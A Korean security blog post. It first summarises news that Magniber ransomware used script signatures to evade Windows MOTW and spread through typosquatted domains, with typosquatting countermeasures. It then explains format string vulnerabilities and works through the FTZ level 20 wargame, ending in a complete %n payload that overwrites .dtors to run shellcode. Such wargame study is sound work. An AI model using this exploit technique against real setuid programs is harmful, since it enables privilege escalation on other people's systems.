- 다운로드된 파일은 윈도의 MOTW 기능에 의해 외부에서 가져온 파일로 식별
- 매그니베르 랜섬웨어는 MOTW 실행 차단을 우회하기 위해 9월 8일부터 29일 사이에 스크립트 하단에 디지털 서명을 사용
- 스크립트의 디지털 서명은 스크립트를 작성한 후 서명을 통해 스크립트가 변경되지 않았음을 보장하고, 작성한 사람을 확인할 수 있는 방법을 제공
- 매그니베르 랜섬웨어의 스크립트 하단에 포함된 디지털 서명은 MOTW를 우회하기 위한 목적으로 분석


- 현재 매그니베르 랜섬웨어는 스크립트 형태로 유포되지 않고 MSI 확장자로 유포
- 랜섬웨어 감염 진단을 회피하기 위해 유포 기법을 끊임없이 변경하기 때문에 사용자들의 각별한 주의가 필요

참고 * 타이포스쿼팅(Typosquatting)
- 개요 : 사회공학 기법의 일종으로 보편적으로 행해지고 있으며, 단순하지만 효과적인 공격 수법
- 공격 방식 : 정상 도메인과 비슷한 이름의 도메인을 등록 후 사용자의 오탈자 등으로 접속 시 악성코드 배포와 같은 악의적 행위가 이루어짐
- 도메인 가장 방식 : 대상 도메인의 오탈자, 다른 최상위 도메인, 관련 단어의 조합, 비슷하게 생긴 문자 등으로 도메인 생성
- 피해 범위 : 부당 이득, 광고 사기, 정보 탈취, 악성코드 유포, 명예 훼손 등
- 피해 사례 : 코로나19 팬데믹과 관련된 도메인 스푸핑 시도
- 대응 방안 :
① 주기적인 OS, 백신 업데이트
② 몇몇 밴더사에서 제공하는 스푸핑 가능성이 존재하는 도메인 식별 서비스 등을 이용
③ 사람들에게 의존하여 잘못된 도메인을 식별해야 한다는 사실로 인해 기술적 대응이 어려울 수 있음
④ 추가적으로 법적 조치가 필요한 경우도 있으나, 범죄 조직의 경우 법적 조치에 거의 반응하지 않음
⑤ 오히려 기업측에서 자체 도메인과 비슷한 도메인을 등록하여 올바른 URL로 리다이렉션하는 방안도 있으며, 이를 "방어적 등록" 혹은 "합법적 타이포스쿼팅"이라 함

 

- 보안뉴스

 

매그니베르 랜섬웨어, 윈도 MOTW 우회해 타이포스쿼팅 방식 유포

매그니베르(Magniber) 랜섬웨어가 파일 출처 확인이 가능한 마이크로소프트 윈도의 MOTW 기능을 우회하면서 타이포스쿼팅 방식으로 활발하게 유포되는 것으로 드러났다.

www.boannews.com

 

1. 포맷 스트링 공격(Format String Attack)

프로그램에 입력된 문자열 데이터가 명령으로 해석될 때 발생
- 공격자는 코드를 실행하거나 메모리 일부를 읽거나 실행중인 프로그램에 Segmentation Fault를 발생시켜 시스템에 의도되지 않은 동작을 유발

 

1.1 포멧 스트링 3가지 개념

① 포맷 함수(Format Function)

- printf, fprintf와 같은 ANSI C 함수

- ex) printf(), scanf() ...

 

② 포맷 스트링(Format String)
- 포맷 함수의 인자이며 다음과 같은 텍스트 및 포맷 인자를 포함하는 ASCII 문자열
- ex) printf("number : %d\n", 1);

 

③ 포맷스트링 인자(Format String Parameter)
- %x %s 등으로 포맷 함수의 변환 형태를 정의

- 프로그램이 전달된 스트링 입력의 유효성을 제대로 확인하지 않으면 취약점이 노출됨.

인자 입력 타입 출력
%d 10진수
%s 포인터 포인터에 위치하는 문자열
%x 16진수
%u 부호없는 10진수
%p 포인터 포인터가 가르키는 주소
%n 포인터 지금까지 출력한 바이트수를 포인터가 가르키는 주소에 넣어줌

 

1.2 예시

- 포맷 스트링 공격에 안전한 경우(위)와 취약한 경우(아래)를 비교하여 확인

 

1.3 포맷 스트링 공격 대응방안

① 서식문자열을 함수의 입력 파라미터로 직접 사용하지 않음 즉, 정확한 포맷스트링의 지정이 필요

ex) printf(argv[1])  ->  printf("%s", argv[1])

 

② 포맷 스트링에 취약한 함수를 사용하지 않음

ex) fprintf(), sprintf(), snprintf() ...

 

2. 풀이

- 80byte 배열 bleh를 선언한 후 setruid 실행 및 fgets로 79byte까지 입력값을 받아 버퍼오버플로우는 불가능함

- main 심볼이 없어 gdb를 사용할 수 없음

- hint 파일의 내용 중 print(bleh); 구문에서 포맷 스트링 공격이 가능함

- attackme 실행 후 %08x의 개수를 증가시킬 경우 12byte 이후 삽입한 문자열이 출력되는 것을 확인할 수 있으므로 스택의 구조를 예상해 볼 수 있음

 

- level20에서는 쉘코드를 환경변수에 등록하여 환경변수의 주소를 등록한 후 해당 환경변수의 주소를 RET에 덮어쓰는 기존의 방식은 사용하지 못함

- bleh와 SFP 사이에 존재하는 dummy의 크기를 모르기 때문이며, 따라서 다른 값에 환경변수의 주소를 덮어써야함

- 따라서 main()이 종료되고 .dtors가 실행되기전에 .dtors값을 쉘코드로 덮어써야함

- objdump 명령으로 .dtors의 세그먼트 주소는 0x08049594이며, .dtros의 시작 주소는 0x08049598

- +4를 해주는 이유는 다수의 .dtors 영역에서 실행이 되게 하기 위해서는 +4를 해줘야 한다고 함(정확한 이유는 확인 중)

 

- .dtros의 시작 주소 0x08049598에 환경변수 주소 0xbfffff2d를 덮어써주면 됨

- 쉘코드 주소 0xbfffff2d는 10진수로 3,221,225,261로 int형 범위를 넘어서게 되므로 소멸자를 2바이트씩 나누어 넣어줘야하며, 이때 %n 지정자 사용

 

- 소멸자를 낮은 주소와 높은 주소로 나누어보면 0x08049598이 낮은 주소, 0x08049598+2=0x0804959a가 높은 주소

- 쉘코드 환경변수의 낮은 주소는 ff2d(65,325), 높은 주소는 bfff(49,151)

- 따라서, 페이로드 형식은 다음과 같음

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%낮은 셸 코드주소c%n%높은 셸 코드주소c%n

 

- %[숫자]c의 경우 [숫자] 만큼의 공백을 의미하며, %n은 이전 입력 값까지 더하여 저장하게됨

- 따라서 %낮은 셸 코드주소c%n의 경우 65,325-(4 + 4 + 4 + 4 + 8 + 8 + 8)=65,285

- %높은 셸 코드주소c%n의 경우 49,151-65,325=-16,174, 음수가 발생하므로 bfff의 2의보수에 65,325를 빼주어 높은 쉘코드를 구함=114687-65,325=49,362

- 즉 완성된 페이로드는 다음과 같음

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%65285c%n%49362c%n

'문제풀이 > FTZ' 카테고리의 다른 글

FTZ Level19 풀이  (0) 2022.11.08
FTZ Level18 풀이  (0) 2022.11.07
FTZ Level17 풀이  (0) 2022.11.07
FTZ Level16 풀이  (0) 2022.11.05
FTZ Level15 풀이  (0) 2022.11.05

+ Recent posts